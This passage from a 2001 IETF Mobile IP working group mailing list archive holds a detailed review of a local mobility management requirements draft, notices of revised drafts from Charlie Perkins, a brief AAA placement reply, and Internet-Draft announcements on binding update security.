> I am confused here by this requirement. Is LMM a MIPv6 extension, as
> described in
> the document? So why does it care about L2 in general, and L2
> optimizations in particular?
>
> 3.5.1/2/3 Add a mention that if MUST NOT increase is the least
expected,
> SHOULD decrease
> would not be too bad either
>
> 3.5.4 Should be removed or clarified. Who is detecting the movement
> between seperated domains?
> The MN, the CNs, the HA, the LMA? Is it a domain addressing issue
(which
> should be
> left out here). The sentence: "The reason for this ...is that there is
a
> need...for the mechanism
> to work..." is pure casuistic. If it is a non-LMM mechanism, what is
it
> doing here? Etc.
>
> 3.7 LMM disrupts IP routing by adding host routes. Should be rephrased
> as: LMM MUST
> NOT disrupt IP routing outside of the LM domain.
>
> 3.8 Last paragraph "To avoid concentration....populate the
> administrative domain". Remove the
> paragraph. There is no concern that MNs mobility patterns would be
> affected or influenced
> by the LMM-agents (btw, it is LMA in the terminology). Is this
paragraph
> saying that
> MN will flock to an access point close to a LMA? Do cell phone users
> aggregate in front
> of building carrying base stations?
>
> 3.12.1 is redundant with 3.4.5 (and 3.4.2 to some extent). As a
general
> comment, reliability is
> dealt in both 3.4 and 3.12, maybe both sections should be merged.
>
> 3.14 Quality
>
> What exactly is meant by Quality. Is it QoS, then say so. Otherwise,
> clarify.
>
> ------------------------------------
> Missing reqs
> -----------------------------------
> Even though you request that no new reqs be provided, let me make the
> case for one:
>
> 3.15 QoS
>
> The LMM MUST interwork with the QoS schemes to:
> 3.15.1-hide the mobility of the MN to its peer by avoiding end-to-end
> QoS signaling.
> 3.15.2-facilitate the new provisioning of both uplink and downlink QoS
> after a handoff
>
> 1- means that the uplink traffic MUST be tunneled through the LMA.
> (this is assume in the document, it must be explicited. Current LMM
> proposals
> (HMIP, RegRegv6) have an uplink that is not tunneled through the LMA.
> This allows the CN to be aware of the local mobility of the MN by
> looking at
> the source IP address.) This draft makes the assumption that the
> uplink traffic is tunneled through the LMA (section 3.4.7). It also
> mention
> provisioning in 1.3 as one of the goals of the LMM.
>
> Having an optimized (non-triangular) uplink means that in case of QoS
> renegotiation
> after handoff end-to-end for the uplink, the location is not hidden to
> the CN. It also introduces
> delays and extra signaling in having to renegotiate e2e. By having a
> potentially
> distinct uplink and downlink, it introduces the need for distinct QoS
> signaling uplink
> and downlink for re-establishment after handoff. On the other hand, by
> having
> both uplink and downlink going through the LMA, the handoff implies
> changing
> on the paths only below the LMA. One QoS re-establishment request can
be
> sent
> to the LMA for both up and downlink.
>
> 2-means that LMM and QoS (like LMM and IP routing) MUST work
> hand-in-hand.
>
>
> -----------------------------------
> Editorial comments:
> -----------------------------------
> Abstract:
> -add a sentence about relationship between administration domain
> and LM domain, or some introduction about what is LM domain.
> -"The identified requirement listed": get rid of listed, it's
redundant.
>
> -"They are intended to be used as....schemes": split in two or three
> clear sentences.
>
> 1.0 Introduction:
> -"Mobile IPv6 is presented with a number...". replace with: 'is
facing',
>
> as Mobile IPv6 is not presented in this document.
>
> 1.1 Motivation:
> -"It is well established that...loss[1]". Why quoting a paper not yet
> published if it
> is well established? Get rid of the quote, or quote a well-established
> result.
> -typo in "with its curent mobility bindings that YIELD".
> -"an interdomain Binding Update signal". Replace with "Binding
Updates"
> -Replace all both "it's" and the "it?s" with "its"
> -place the acronym "(BUs)" after "Binding Update", a couple lines
> higher,
> and not "mobility binding".
> -again, why quote [1] to say that the MN time at one AR has to be
longer
> than
> a RTT if it hopes to receive a packet.
>
> 1.2 Principles of the LMM:
> -First two sentences are redundant. Chop one.
> -"This is achieved by introducing LMM Agens....similar to a HA": this
> sentence should
> disappear, as it is solution space. Replace with something like:
> "A LMM agent concept is introduced in this draft. LMMA are the logical
> entities
> hiding the mobility within the LMMD to the outside of the LMMD" and
> modify the end
> of the paragraph accordingly.
> -this paragraph needs more editing, but I advocate to suppress it
> altogether. "regional
> care-of (RCoA) address" replaced by "regional care-of address", etc.
>
> 1.3 Consideration points for LMM design:
> -"principals" replace with "principles"
> -replace "consideration points (goals)" with "goals"
> -"when designing an LMM framework": this is not design nor framework.
> "when specifying
> LMM reqs".
> -replace "reducing" in the item list with "reduce" twice, or make all
> other introductory verbs in
> the items in the participle "ing" form.
> -the last paragraph ("Identifying..." till "...inpractice today")
> is patting itself on the back, on how "solid" the reqs in this draft
> are, "robust",
> "essential", and a sounde "foundation". While it is true, and the team
> should be thanked for
> the good work, maybe the self congratulations should be left out.
>
> 2.0 Terminology:
>
> LMM: replace "the true peers entity" with "its peers"
>
> 3.3.1 The last sentence: "this is so, since experience ...convergence"
> should be removed or rephrased.
> It is true that it is better to leave routing to routers. However, LMM
> is one big contradiction
> to this principle.
>
> 3.3.2 Maybe add "at most linearly", as "linearly" is good, but better
> than linear is even better.
>
> - "This would involve MIP-specific eliminated by any mobility
management
> protocol including
> routing state as binding caches in addition to standard routing table
> host routes. While host routes cannot be base IP mobility, any LMM
> protocol MUST keep the number of host routes to a minimum."
> This sentence should be reworded. At least, I cannot make sense of it.
>
> 3.3.5 Again, replace "true peer entities" with "peers"
>
> 3.4.5 replace " effected in the routing of the ...applied" with "in
the
> routing of the LM domain".
>
> 3.4.6 Make two sentence of the first paragraph "Any..compression",
> "Transfer of compressor...disruption".
>
> 3.4.8 replace "doesn't" with "does not"
>
> 5.0 References
> [1] Replace 'localised' with 'localized'
> [3] get rid of question marks
>
> ---------------------------------------------------
> That's about it.
> Thanks again for putting it together, hope you'll find my comments
> useful,
>
> Cedric.
>
>
>
>
>
>
>
>



From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 15 01:10:36 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA29524
	for <mobileip-archive@lists.ietf.org>; Thu, 15 Nov 2001 01:10:35 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA27800;
	Wed, 14 Nov 2001 23:08:56 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA24557;
	Wed, 14 Nov 2001 22:09:00 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAF686LS015392
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 14 Nov 2001 22:08:06 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAF6869r015391
	for mobile-ip-dist; Wed, 14 Nov 2001 22:08:06 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAF683LS015384
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 22:08:03 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA26569
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 22:08:05 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA27263
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 23:07:47 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id WAA05336;
	Wed, 14 Nov 2001 22:07:30 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAF67TV14509;
	Wed, 14 Nov 2001 22:07:29 -0800
X-mProtect:  Wed, 14 Nov 2001 22:07:29 -0800 Nokia Silicon Valley Messaging Protection
Received: from maxdialin34.iprg.nokia.com (205.226.20.228, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdh7AOcF; Wed, 14 Nov 2001 22:07:27 PST
Message-ID: <3BF35B59.8B901740@iprg.nokia.com>
Date: Wed, 14 Nov 2001 22:06:17 -0800
From: Charlie Perkins <charliep@iprg.nokia.com>
Organization: Nokia
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Mobile IP Working Group <mobile-ip@sunroof.eng.sun.com>,
        "Basavaraj Patil (NTC/Dallas)" <Basavaraj.Patil@nokia.com>,
        Phil Roberts <PRoberts@MEGISTO.com>,
        Pat Calhoun <pcalhoun@diameter.org>
Subject: [mobile-ip] Revised 3012
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hello folks,

Due to a miscommunication, the revised version of RFC 3012 was not
submitted on time.  I'll submit it anyway, in hopes that it is viewed as
a
revision of previous work.  It may not fly.

Anyway, the draft is available at the following URL:
    http://people.nokia.net/~charliep/txt/mobilechal/mip-chal.txt

Regards,
Charlie P.




From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 15 02:45:28 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA15130
	for <mobileip-archive@lists.ietf.org>; Thu, 15 Nov 2001 02:45:27 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id XAA00980;
	Wed, 14 Nov 2001 23:44:00 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA17557;
	Wed, 14 Nov 2001 23:42:02 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAF7fRLS015629
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 14 Nov 2001 23:41:27 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAF7fRV2015628
	for mobile-ip-dist; Wed, 14 Nov 2001 23:41:27 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAF7fNLS015621
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 23:41:23 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA29347
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 23:41:23 -0800 (PST)
Received: from mailgw.ipunplugged.com (217.134.88.213.host.tele1europe.se [213.88.134.217])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id AAA29582
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 00:41:30 -0700 (MST)
Received: from fredrikj (c50.local.ipunplugged.com [192.168.4.249])
	by mailgw.ipunplugged.com (8.9.3/8.9.3) with SMTP id IAA19576
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 08:40:57 +0100
From: "Fredrik Johansson" <fredrik.johansson@ipunplugged.com>
To: <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] AAA keys design comment
Date: Thu, 15 Nov 2001 08:42:01 +0100
Message-ID: <MJEMJBGGCLLDLFFAHLJKEEFHDKAA.fredrik.johansson@ipunplugged.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <3BEF25EA.4BAE9A38@iprg.nokia.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi Charlie

I agree with James, although I havn't given it much thought, the access
router seems like a good place to place the AAA functionality in the foreign
network.

Regards
/fredrik

>-----Original Message-----
>From: owner-mobile-ip@sunroof.eng.sun.com
>[mailto:owner-mobile-ip@sunroof.eng.sun.com]On Behalf Of Charles E.
>Perkins
>Sent: den 12 november 2001 02:29
>To: Fredrik Johansson
>Cc: mobile-ip@sunroof.eng.sun.com
>Subject: Re: [mobile-ip] AAA keys design comment
>
>
>Hello Fredrik,
>
>While reading through the AAA keys discussion, I found this text:
>
>>>   It appears that I've been thinking of this too
>>>   much like the v6 model which _does_ require the
>>>   round trip to the HA at all times since there's
>>>   no FA.
>>
>> it's not only the roundtrip over the air that can be
>> more expensive, it's also between the home and foreign
>> network (when the HA is allocated in the home network).
>
>I don't see why we can't use the same AAA/Mobile IP model
>for IPv6 as for IPv4, since some sort of local attendant
>function looks pretty likely. For Mobile IPv4, the foreign
>agent is the logical place to put the additional attendant
>functionality, but it also has to be somewhere local
>in IPv6.  We have the AAAv6 draft for this purpose, and
>eventually we hope that AAA will pick it up as a work
>item since the IPv6 working group has essentially
>validated the usefulness of having some sort of AAA
>model for authorizing network access for IPv6.  I have to
>be careful to avoid giving the impression that IPv6 has
>validated our AAAv6 draft, because that isn't the case.
>There seem to be many interacting features, and lately
>I have not had time to push forward on this particular
>draft.
>
>Regards,
>Charlie P.



From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 15 02:47:01 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA15158
	for <mobileip-archive@lists.ietf.org>; Thu, 15 Nov 2001 02:47:00 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA13462;
	Thu, 15 Nov 2001 00:45:22 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA18064;
	Wed, 14 Nov 2001 23:45:08 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAF7iiLS015711
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 14 Nov 2001 23:44:44 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAF7ihwx015709
	for mobile-ip-dist; Wed, 14 Nov 2001 23:44:43 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAF7idLS015699
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 23:44:39 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA17863
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 23:44:20 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA04335
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 23:44:39 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id XAA09694;
	Wed, 14 Nov 2001 23:44:05 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAF7i4S22539;
	Wed, 14 Nov 2001 23:44:04 -0800
X-mProtect:  Wed, 14 Nov 2001 23:44:04 -0800 Nokia Silicon Valley Messaging Protection
Received: from maxdialin34.iprg.nokia.com (205.226.20.228, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpd4hX9Q9; Wed, 14 Nov 2001 23:44:02 PST
Message-ID: <3BF371A9.74C5AA10@iprg.nokia.com>
Date: Wed, 14 Nov 2001 23:41:29 -0800
From: Charlie Perkins <charliep@iprg.nokia.com>
Organization: Nokia
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Mobile IP Working Group <mobile-ip@sunroof.eng.sun.com>
CC: Pat Calhoun <pcalhoun@diameter.org>,
        "Basavaraj Patil (NTC/Dallas)" <Basavaraj.Patil@nokia.com>,
        Phil Roberts <PRoberts@MEGISTO.com>
Subject: [mobile-ip] Re: AAA Registration Keys for Mobile IP
References: <3BF370DA.9E418E8B@iprg.nokia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hello folks,

I have made a new revision for the abovementioned document.
It has not yet been submitted to the Internet Draft directories, but
it might be soon, depending on whether or not the changes in the
document are viewed as sufficient to resolve the issues which had
been raised against the document some weeks ago.

The URL for this potentially new Internet Draft is:
    http://people.nokia.net/~charliep/txt/mobilekey/mip-key.txt

Regards,
Charlie P.




From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 15 07:12:58 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA19002
	for <mobileip-archive@odin.ietf.org>; Thu, 15 Nov 2001 07:12:58 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA01437;
	Thu, 15 Nov 2001 05:11:30 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA00484;
	Thu, 15 Nov 2001 04:11:31 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFC3FLS016196
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 15 Nov 2001 04:03:15 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAFC3FPV016195
	for mobile-ip-dist; Thu, 15 Nov 2001 04:03:15 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFC3BLS016188
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 04:03:11 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA12202
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 04:02:52 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA15061
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 04:03:09 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA18069;
	Thu, 15 Nov 2001 07:03:07 -0500 (EST)
Message-Id: <200111151203.HAA18069@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
CC: mobile-ip@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Subject: [mobile-ip] I-D ACTION:draft-thomas-mobileip-bu-sec-00.txt
Date: Thu, 15 Nov 2001 07:03:07 -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Binding Updates Security
	Author(s)	: M. Thomas
	Filename	: draft-thomas-mobileip-bu-sec-00.txt
	Pages		: 13
	Date		: 14-Nov-01
	
This memo provides a mechanism for mobile IPv6 nodes to use standard
[IPSEC] mechanisms (both [AH] and [ESP]) to authenticate and
authorize mobile IP route optmization messages which provide strong
crypotographic authentication as well as protection from man in the
middle attacks. This protection can be used both between home agents,
and correspondent nodes.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-thomas-mobileip-bu-sec-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-thomas-mobileip-bu-sec-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-thomas-mobileip-bu-sec-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011114144816.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-thomas-mobileip-bu-sec-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-thomas-mobileip-bu-sec-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011114144816.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 15 07:13:01 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA19013
	for <mobileip-archive@odin.ietf.org>; Thu, 15 Nov 2001 07:13:01 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA01501;
	Thu, 15 Nov 2001 05:11:34 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA00507;
	Thu, 15 Nov 2001 04:11:43 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFC39LS016186
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 15 Nov 2001 04:03:09 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAFC39vN016185
	for mobile-ip-dist; Thu, 15 Nov 2001 04:03:09 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFC35LS016178
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 04:03:05 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA12196
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 04:02:45 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA09342
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 05:03:14 -0700 (MST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA18053;
	Thu, 15 Nov 2001 07:03:01 -0500 (EST)
Message-Id: <200111151203.HAA18053@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
CC: mobile-ip@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Subject: [mobile-ip] I-D ACTION:draft-roe-mobileip-updateauth-01.txt
Date: Thu, 15 Nov 2001 07:03:01 -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Authentication of Mobile IPv6 Binding Updates and 
                          Acknowledgments
	Author(s)	: M. Roe et al.
	Filename	: draft-roe-mobileip-updateauth-01.txt
	Pages		: 21
	Date		: 14-Nov-01
	
This memo describes three protocols that may be used for
authenticating binding updates in mobile IPv6.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-roe-mobileip-updateauth-01.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-roe-mobileip-updateauth-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-roe-mobileip-updateauth-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
